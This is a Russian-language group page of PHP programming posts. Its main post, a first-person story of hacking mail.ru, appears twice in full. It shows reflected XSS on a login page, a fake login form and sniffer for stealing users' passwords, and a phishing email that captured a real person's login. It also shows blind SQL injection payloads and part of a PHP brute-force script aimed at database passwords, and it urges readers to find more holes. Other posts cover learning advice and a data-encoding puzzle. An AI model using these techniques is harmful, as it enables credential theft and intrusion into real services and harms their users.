Как делать в данном и конкретном случае решать Вам. Я же просто попытался направить тех, кто начинает писать на php, а может и тех, кто уже пишет, на определенный вариант или стиль программирования.

Максим Пак, 28-02-2010 01:28 (ссылка)

Взлом Мейла

http://pml-wm.freeoda.com
first day...]
Два часа ночи, я был готов пойти спать, но надо было проверить почту. Зайдя к себе на мыльник (зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на mail.ru, работает дерьмово, видимо спам - подарок от мэйл.ру. Что ж, как никак Новый Год скоро, надо тоже сделать подарок любимому почтовику.
Исследовав почтовый сервис я так ничего и не нашел. Что же, поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы. Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре картинок выскакивало popup окно, запомнив адрес:

http://7ya.mail.ru/image.ph...
Я решил его подкорректировать, получилось вот что:

http://7ya.mail.ru/image.ph...=">Russian Net Hunters - Rulezzz

Как видишь получилось - Russian Net Hunters Rulezzz. Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн через форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не зарегистрирован, и тут мое внимание привлекла адресная строка:

http://talk.mail.ru/login.h...=

Я решил проверить переменную target на XSS, набрав в адресной строке

http://talk.mail.ru/login.h...=">

Я очень удивился и обрадовался, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов утра, даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело.

[next day...]

На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк форму, а также составил ядовитый урл:

http://talk.mail.ru/login.h...=">

В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры чувствовали себя сухо и комфортно . В итоге урл принял такой вид:

http://talk.mail.ru/login.h...

Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал юзера к себе на почту, вот код сниффера:





";
?>

Обратите внимание, как юзер попадает к себе на почту (строка 17):



Создание фэйка - это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный юзер решит, что произошли какие-нить сбои в работе службы DNS.
[testing...]
Для проверки всего сказанного я написал "жалостливое" письмо своей новой подружке от бедных админов support@mail.ru c просьбой кликнуть по ссылке... и вскоре в файле logs.txt появилась новая строчка... На следующий день pixcher нашел sql-inj:

http://mobile.mail.ru/catal...'

Ошибка выполнения запроса!

SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9''

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1

Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда я заметил, что запрос

http://mobile.mail.ru/catal...' or 1=1/*

выполняется и выдаёт нам кучу мелодий на скачивание, а запрос

http://mobile.mail.ru/catal...' or 1=2/*

выдаёт 0 => никакого списка рингтонов не отображает =), а это значит то, что можно посимвольно брутить поля базы данных! Для начало попробуем сбрутить имя пользователя БД user(). SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр. Запрос

http://mobile.mail.ru/catal...' AND lower(substring(user(),1,1))="a"/*

не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(. Первый символ я подобрал вручную, запрос

http://mobile.mail.ru/catal...' AND lower(substring(user(),1,1))="i"/*

выдавал мне полный перечень музона и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт... Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы английского алфавита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выяснено, что такая страница содержит волшебное число 17107 ), то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д. Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP. У меня получилось примерно так:

"")?"?".$url['query']:"";
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:"";
$host .= $url['host'];
$port = ($url['port'] > "")?$url['port']:80;
$sock = fsockopen ($host, $port);
fputs ($sock, "GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n");
$cont = "";
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}

for ($i=0;$i

Запускаем наш скрипт и... видим имя пользователя БД: "inform@yavanna.mtu". Попробуем вместо $find="user()"; перебирать результаты подзапроса, например

$find="(SELECT password from mysql.user LIMIT 1)";

Запускаем скрипт, но он выдаёт... эх... подзапросы к сожалению не поддерживаются в почтовой БД =( Ничего страшного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:

http://mobile.mail.ru/catal...' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"

но к этому моменту меня уже стало воротить от одной мысли о запросе к БД и я "вдруг" вспомнил, что неправомерный доступ к конфиденциальной информации карается законом =)

[end...]

Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка на mail, так что ищи и удачи тебе!

Взлом Мейла
first day...]
Два часа ночи, я был готов пойти спать, но надо было проверить почту. Зайдя к себе на мыльник (зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на mail.ru, работает дерьмово, видимо спам - подарок от мэйл.ру. Что ж, как никак Новый Год скоро, надо тоже сделать подарок любимому почтовику.
Исследовав почтовый сервис я так ничего и не нашел. Что же, поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы. Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре картинок выскакивало popup окно, запомнив адрес:

http://7ya.mail.ru/image.ph...
Я решил его подкорректировать, получилось вот что:

http://7ya.mail.ru/image.ph...=">Russian Net Hunters - Rulezzz

Как видишь получилось - Russian Net Hunters Rulezzz. Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн через форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не зарегистрирован, и тут мое внимание привлекла адресная строка:

http://talk.mail.ru/login.h...=

Я решил проверить переменную target на XSS, набрав в адресной строке

http://talk.mail.ru/login.h...=">

Я очень удивился и обрадовался, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов утра, даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело.

[next day...]

На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк форму, а также составил ядовитый урл:

http://talk.mail.ru/login.h...=">

В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры чувствовали себя сухо и комфортно . В итоге урл принял такой вид:

http://talk.mail.ru/login.h...

Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал юзера к себе на почту, вот код сниффера:





";
?>

Обратите внимание, как юзер попадает к себе на почту (строка 17):



Создание фэйка - это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный юзер решит, что произошли какие-нить сбои в работе службы DNS.
[testing...]
Для проверки всего сказанного я написал "жалостливое" письмо своей новой подружке от бедных админов support@mail.ru c просьбой кликнуть по ссылке... и вскоре в файле logs.txt появилась новая строчка... На следующий день pixcher нашел sql-inj:

http://mobile.mail.ru/catal...'

Ошибка выполнения запроса!

SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9''

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1

Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда я заметил, что запрос

http://mobile.mail.ru/catal...' or 1=1/*

выполняется и выдаёт нам кучу мелодий на скачивание, а запрос

http://mobile.mail.ru/catal...' or 1=2/*

выдаёт 0 => никакого списка рингтонов не отображает =), а это значит то, что можно посимвольно брутить поля базы данных! Для начало попробуем сбрутить имя пользователя БД user(). SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр. Запрос

http://mobile.mail.ru/catal...' AND lower(substring(user(),1,1))="a"/*

не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(. Первый символ я подобрал вручную, запрос

http://mobile.mail.ru/catal...' AND lower(substring(user(),1,1))="i"/*

выдавал мне полный перечень музона и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт... Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы английского алфавита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выяснено, что такая страница содержит волшебное число 17107 ), то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д. Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP. У меня получилось примерно так:

"")?"?".$url['query']:"";
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:"";
$host .= $url['host'];
$port = ($url['port'] > "")?$url['port']:80;
$sock = fsockopen ($host, $port);
fputs ($sock, "GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n");
$cont = "";
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}

for ($i=0;$i

Запускаем наш скрипт и... видим имя пользователя БД: "inform@yavanna.mtu". Попробуем вместо $find="user()"; перебирать результаты подзапроса, например

$find="(SELECT password from mysql.user LIMIT 1)";

Запускаем скрипт, но он выдаёт... эх... подзапросы к сожалению не поддерживаются в почтовой БД =( Ничего страшного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:

http://mobile.mail.ru/catal...' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"

но к этому моменту меня уже стало воротить от одной мысли о запросе к БД и я "вдруг" вспомнил, что неправомерный доступ к конфиденциальной информации карается законом =)

[end...]

Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка на mail, так что ищи и удачи тебе!

Методы обучения программированию

Здравствуйте, народ.
Смотрел список участников данного общества довольно много знакомых лиц и многие на такого рода странички входят ради копирования отрывка кода а это не во благо а наоборот по этому предлагаю Всем предлагать варианты легкого обучения.

Сам буду первым: (единогласно:) )

Мой вариант простой, надо сначало постараться выбрать себе задачу, например создать чисто для себя записную книжку, и второй вариант синтаксис если Вам не понравился С++ например переходите на что нибудь другое перебирите все языки и один из них все равно приглядится Вам, желаю удачи в Ваших начинаниях друзья!!!!

С уважением,

            Комил ;)

Максим Пак, 25-03-2009 23:19 (ссылка)

http://maxidebox.narod.ru

настроение: Веселое
хочется: Хорошего
слушаю: Классику

Метки: http://maxidebox.narod.ru - один

Приглашение!

Здравствуйте, приглашаю  всех  принять участие в проекте  создания
новой CMS от www.tevirp.com . Всем желающим принять участие, прошу
пройти по ссылке и прочитать информацию :
http://tevirp.com/viewtopic...



Мы рады будем вместе с Вам сотрудничать!



С ув. Владимир

 

Максим Пак, 21-07-2008 23:20 (ссылка)

Кодирование и декодирование данных

Кодирование и декодирование данных
Имеется некий набор строк, содержащие произвольные символы. Набор предназначен для передачи через транспортный канал, который способен транслировать только определенный алфавит.

Одним из решений такой поблемы (например в почтовых стандартах) является применение методики кодирования base64, при которой алфавитом из 64 символов передаются любые бинарные (т.е. из байтов со значениями 0..255) данные. Строки при этом, как известно вырастают на величину (log(256)/log(64)-1)*100% = 33% по стравнению с исходной длиной.
Основное требованиеЗаказчика не устраивают накладные расходы в 33%. Он предлагает использовать алфавит из 85 символов текста, и согласен на рост в (соответственно (log(256)/log(85)-1)*100% ) 25% от исходной длины. И ни байтом больше.

Требуется разработать такие функции $text = user_encode($data, $abc) и $data = user_decode($text, $abc), которые бы кодировали и декодировали указанные данные ($data) в текст ($text) символами из строки с предложенным алфавитом ($abc), и укладывались в 25% overhead.
Дополнительные требованияa) кодированные строки заказчик собирается не только пересылать, но и хранить. И ему было бы крайне удобно если результаты строкового сравнения на больше меньше равно оригинальных данных и кодированных строк были равнозначными. То есть если данные1< данные2 то и код1< код2 .
б) поскольку часть интерфейсов, работающих с таким представлением данных, позже вероятно будет реализована на других языках, а возможно даже в микроконтроллере, заказчику бы не хотелось, чтобы в реализации user_encode и user_decode применялись какие-либо нестандартные функции, отличные от ord, chr, substr, strpos и intval, и крайне желательно, чтобы было исключено применение операций с плавающей точкой.
Логическую сторону решения можно оценить при помощи следующего скрипта, который начисляет штрафные баллы за невыполненные требования.
 
Алфавит: 
 
Строки данных: 
 

 Quicks 
brown 
fox 
jumps 
over 
lazy 
dog 
!! 
 
 
 

 
"; 
    $maxres = 0; 
    foreach($list as $msg) 
    { 
        if(isset($dm))   { $dm0 = $dm; $em0 = $em; } 
        if(strlen($msg) > 0 && $msg[0] == ' ') 
            $msg = base64_decode($msg); 
        $em = user_encode($msg, $abc); 
        $dm = user_decode($em, $abc); 
        $res = ''; 
        if($msg !== $dm) $res = '64 - данные не декодировались'; 
        else 
        { 
          $abc0 = count_chars($abc,1); 
          $abc1 = count_chars($em,1); 
          $extra = ''; 
          foreach($abc1 as $key =>$val) 
            if(!isset($abc0[$key])) 
             $extra .= sprintf(" %02X", $key); 
          if(strlen($extra)) 
            $res = "32 - применены символы не из алфавита, с кодами $extra"; 
          else 
          { 
            $l1 = strlen($dm); 
            $l2 = strlen($em); 
            $max = floor(($l1*8 * 1.33 + 7)/8); 
            if($l2 > $max) 
               $res = "16 - код длинее оптимального на ".($l2 - $max)."  байт"; 
            else if(isset($dm0)) 
            { 
              $cmp = ($dm0 < $dm) !== ($em0 < $em); 
              if($cmp) 
                $res = "8 - сравнение кодов не соответствует сравнению данных"; 
            } 
          } 
        } 
        $maxres |= intval($res); 
        echo ""                  .""                  .""                  .""                  ."";      }      echo "
".htmlspecialchars($msg)."".htmlspecialchars($em)."".htmlspecialchars($dm).".  $res
 Штрафных баллов : ".$maxres;  ?>

SetRos

Я не мастер и только начинаю изучать html,PHP, MySQL на работе дали задание создать сайт.
А сам давно хотел этим занятся да всё руки не доходили.
Посоветуйте с чего надо начинать, какие книги, какие программы лутше использовать.
Вот мой первый шаг ООО Спарта. Создан в Microsoft Office Publisher, фигня но для первого шага сойдёт.
Следуюший будет мой SetRos.ru Этот хочу делать при помощи программ: 
Adobe Dreamweaver CS3
Adobe Photoshop CS3
Adobe Flash CS3
Как ваше мнение.

настроение: Боевое

Метки: SetRos

В этой группе, возможно, есть записи, доступные только её участникам.
Чтобы их читать, Вам нужно вступить в группу